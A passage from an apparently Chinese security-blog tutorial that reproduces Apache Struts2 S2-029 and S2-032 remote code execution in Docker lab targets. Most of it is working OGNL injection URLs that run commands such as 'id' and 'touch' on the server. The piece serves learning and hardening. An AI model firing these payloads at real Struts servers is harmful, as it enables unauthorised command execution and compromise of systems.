Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。

(2)影响版本:

Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3

2)漏洞启动

(1)拉取漏洞环境到本地
image.png

sudo docker pull medicean/vulapps:s_struts2_s2-029

(2)验证是否开启
image.png

sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-029
sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

http://192.168.253.7:8888/

(2)验证漏洞是否存在-POC-1:

http://192.168.253.7:8888/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

image.png
成功远程代码执行!

12、S2-032远程执行代码漏洞

image.png

1)漏洞简介

(1)漏洞原理:

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式!

(2)影响版本:

Struts 2.3.20-Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

2)漏洞启动

(1)开启struts2-032漏洞
image.png

sudo docker-compose up -d

(2)验证是否开启
image.png

sudo docker ps

3)漏洞复现

(1)访问靶机:
image.png

(2)验证漏洞是否存在POC-1:

http://192.168.253.7:8080/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010

image.png
返回1001060253718则代表代可代码执行!成功远程代码执行!

(3)POC-2:查看id

http://192.168.253.7:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

image.png
成功远程代码执行!

(4)创建文件夹:

http://192.168.253.7:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch /tmp/dayu1212

image.png
成功远程代码执行!

六、总结

今天学到认知Struts2简介、Struts2详细安装、Docker详细安装Struts2、Struts2-001至Struts2-045的全部远程代码执行攻击总结RCE使用经验等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)......

接下来在《服务攻防之框架Struts2(下)》会接触到如何进行Struts2-045至Struts2-061的全部远程代码执行攻击总结、实战武器Struts2的总结RCE使用经验等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Struts2篇下章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# Struts2 # 数据库渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录